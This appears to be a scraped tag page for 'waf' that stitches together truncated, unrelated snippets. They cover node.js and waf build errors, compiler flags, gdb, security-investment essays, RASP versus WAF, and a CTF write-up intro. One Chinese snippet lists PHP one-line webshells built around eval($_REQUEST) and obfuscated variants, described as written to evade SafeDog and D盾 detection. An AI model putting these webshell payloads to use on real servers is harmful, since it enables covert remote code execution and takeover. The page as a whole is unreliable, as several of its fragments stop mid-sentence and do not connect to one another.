waf

Can't configure node.js for make install on OS X (Snow Leopard)

浪子不回头ぞ 提交于 2019-12-10 20:14:07
问题 I cloned the node git repo but the "waf" build tool that comes with node seems to not work with the latest version of Python. $ ./configure Traceback (most recent call last): File "/Users/greim/nodestuff/node/tools/waf-light", line 157, in <module> import Scripting File "/Users/greim/nodestuff/node/tools/wafadmin/Scripting.py", line 146 except Utils.WafError, e: ^ SyntaxError: invalid syntax $ which python /Library/Frameworks/Python.framework/Versions/3.0/bin/python If I understand, that

Custom waf task does neither run nor find sources

主宰稳场 提交于 2019-12-10 18:27:42
问题 In my wscript I run some custom Task ( dummy ) after the apply_link method, and this works fine. After this dummy -task has finished I want to collect all of my output files (let it be *.dll , *.exe , *.o , *.a or *.elf ) and run another task on these output file, but I get two errors: The task seems not to be generated at all. The output files found by bld.path.get_bld().ant_glob(...) are not passed to the task. The wscript looks like this: #!/usr/bin/env python # -*- encoding: utf-8 -*- top

绕过WAF-一句话木马

こ雲淡風輕ζ 提交于 2019-12-10 11:27:59
注:本次的测试环境是最新的安全狗Apache:V4.0 一句话木马:<?php eval($_REQUEST['a'])?> 1.但是这样写容易被安全狗这些拦截,所以可以考虑替换某些函数,比如eval换成assert()或者reate_function()或者是call_user_func() 2.使用end()函数来代替,可以写成: <?php eval(end($_REQUEST)); ?> 注:密码是随便写,在安全狗上是查不出来的,但是D盾会查出一个最低价的危险,所以,如果要让D盾完全测不出来可以这样写: <?php if($_SERVER['HTTP_USER_AGENT'] === '1'{ eval(end($_REQUEST));} ?> 3.字符拼接加双美元符 <?php $a='ass'; $b='ert'; $funcName=$a.$b //assert $x='funcName'; $$x($_REQUEST['a']); ?> 4.常量 <?php defin("a","$_REQUEST['a']");eval(a); ?> 5.用函数强行分割 <?php function a($a){ return $a;} eval (a($_REQUEST)['hh']); ?> 6.用类分割 <?php class User {public $name=' ';

How to specify gcc flags (CXXFLAGS) particularly for a specific module?

做~自己de王妃 提交于 2019-12-10 03:26:52
问题 I am building a new NS3 module recently. In my code, I use something new features of the C++11 (c++0x) , I want to add a gcc flags (CXXFLAGS) "-std=c++0x" to the waf configuration system. I tried to this: CXXFLAGS="-std=c++0x" waf configure , and then build it. However, it turns out that some of the exsiting modules such as ipv4-address is not compatible to c++11 . Thus, I want to specify this flag particularly for my new module so that other modules won't be complied on c++11. I tried to add

gdb doesn't find source files compiled by clang++

霸气de小男生 提交于 2019-12-09 17:07:26
问题 When compiling my project with clang++, the path to the source files is apparently not included in the object code. This means that gdb is unable to find source files to display code with. For specific instances, I can use gdb's directory command to add a directory, but my project has a lot of source directories and this gets annoying very quickly. When I switch my configuration to use g++, gdb simply finds all my source files. This functionality worked clang++ 2.9 on Snow Leopard, but doesn

在安全层面,企业如何获得更好的投资回报率 ROI?

我的梦境 提交于 2019-12-07 19:20:40
#####前言 任何企业对投资都有回报的要求,回报可能是直接的「利润」,达到短期、长期的目标,或者通过投资减少损失。因此每个项目的决策者在每笔投资前都要衡量 ROI,证明该投资能达到的效果和收益,以便在项目结束时可以考核和衡量项目是否成功。 同时通过 ROI 的分析为下一笔预算请求,提供支持性的证据。不过信息安全投资的 ROI 分析,对每个决策者都是很艰难的事情。因为安全投资对大多数企业来说,并不能带来非常直接的收益和利润。 本文主要目的就是和决策者进行讨论,希望通过一些简单的工具和最佳实践,简化 ROI 评估,为决策者在进行信息安全投资时,提供一些决策依据。当然现在信息系统多种多样,各种软件和系统差异性非常大,单一通过简单的工具无法覆盖所有的可能性,但笔者相信这是一个非常有益的探索。 #####基本概念介绍 ROI:在任何企业或者个人投资,都是通过项目结束后对投资的效果和收益进行评估投资效果,在金融上来讲叫做投资回报率(ROI)。ROI 通常是通过如下的公式来计算的: ROI = (收入- 投资总额) / 投资总额×100%。 举个例子,张三负责投资项目,他和老板申请了2000元的启动资金,张三和老板约定收入五五分成,项目结束后总共收入10000元,老板得到5000元,投资回报率计算如下 (5000 - 2000) / 2000 = 150% 安全投资回报率(ROSI):ROI

RASP 完爆 WAF 的5大理由!

跟風遠走 提交于 2019-12-07 19:20:20
Web 应用防火墙(WAF)已经成为常见 Web 应用普遍采用的安全防护工具,即便如此,WAF 提供的保护方案仍旧存在诸多不足,笔者认为称 WAF 为好的安全监控工具更为恰当。幸运的是,应用安全保护技术也在快速发展,运行时应用程序自我保护系统(简称 RASP)之概念,一经 Gartner 提出,立即受到热烈追捧。业界普遍认为 RASP 会成为新一代应用漏洞的「超级克星」。 WAF: 对应用安全防护已力不从心 Web 应用安全防火墙(WAF)部署在 Web 应用程序前线,可以实时扫描和过滤 Web 请求与用户输入的数据。因此,WAF 在监控进出 Web 应用程序/数据库的有害用户输入和不正常的数据流上非常有效率,这也使 WAF 在过去十多年间非常受欢迎。 WAF 有两种工作模式: 检测模式:寻找恶意输入和违规行为模式。 阻塞模式:拦截可疑用户输入。 WAF 具备防护多种常见安全攻击(如 SQL 注入和跨站攻击(XSS))的能力。但 WAF 基于流量分析,不理解应用的上下文,因此它也有很多与生俱来的缺陷。 WAF 最大的缺点是一旦应用程序代码有所改变,相应的配置也需要改变。一旦更新不及时或者更新失败,都会产生大量的误报(False-Positives)。当 WAF 设置为拦截模式时,这些误报会产生 DDOS 攻击或导致性能问题。 WAF 无法检查应用程序的漏洞,更无法解决已知漏洞

How do I suppress '-arch', 'x86_64' flags when compiling an OpenGL/SDL application with Waf on OSX?

一世执手 提交于 2019-12-06 18:29:49
问题 I need to suppress "-arch x86_64 -arch i386" flags Waf is passing to GCC. I am building an SDL/Opengl application. If I link against 32 bit SDL runtime I get error Undefined symbols for architecture i386: "_SDL_Quit", referenced from: __del_video in SDL_functions.c.2.o __init_video in SDL_functions.c.2.o If I link against 64 bit SDL runtime, I get error "Undefined symbols for architecture x86_64" The compiler is apparently using flags -arch x86_64 -arch i386 I understand that this causes GCC

Finding local external libraries with Waf

不羁岁月 提交于 2019-12-06 13:27:33
问题 I'm creating a wscript file capable of linking external libraries that are stored in the project directory, rather than installed to the system, but I am unsure of the best way of doing so. Currently, I'm doing something along the lines of the following: cfg.env.INCLUDES_A = [os.path.normpath('external/include')] cfg.env.LIBPATH_A = [os.path.normpath('external/win32/A/lib/x64')] cfg.env.LIB_A = ['A'] cfg.env.append_unique('COPY_LIBS', os.path.normpath('external/win32/A/lib/x64/A.dll')) In

NJUPTCTF-2018出题心得

帅比萌擦擦* 提交于 2019-12-06 12:05:29
NJUPTCTF-2018出题心得 NJUPTCTF-2018 结束也有几个月了,我也是昨天才忙完各种琐事,包括比赛、考试、出题、总结等等。这段时间经历的事情太多,心也逐渐疲惫,同时感到和同龄人的差距越来越大。现在要补这几个月落下的东西,昨天把CTF学习交流群的 入群题 出了一下,题目比较简单,希望师傅们别喷。这段时间欠的最久的应该就是校赛的出题心得了吧。虽然我的题全部都有人解出,但是还是有很多人要我写一下心得。废话不多说了,让我们开始吧。 NJUPT-CTF2018的题目源码: https://github.com/NJUPT-coding-gay/NCTF2018 MISC-baby Python [833pts 3solves] 出题思路:变量覆盖(来自队友@ccc) 首先贴一下题目源码吧。题目其实并不难,至于为什么只有三队解出我也很纳闷。 #!/usr/bin/python from __future__ import print_function print ( "Welcome to yulige's Python sandbox! Enter commands below!" ) print ( "Could you bypass it?" ) Th1s_1S_WAF = [ "import" , "exec" , "eval" , "pickle" , "os" ,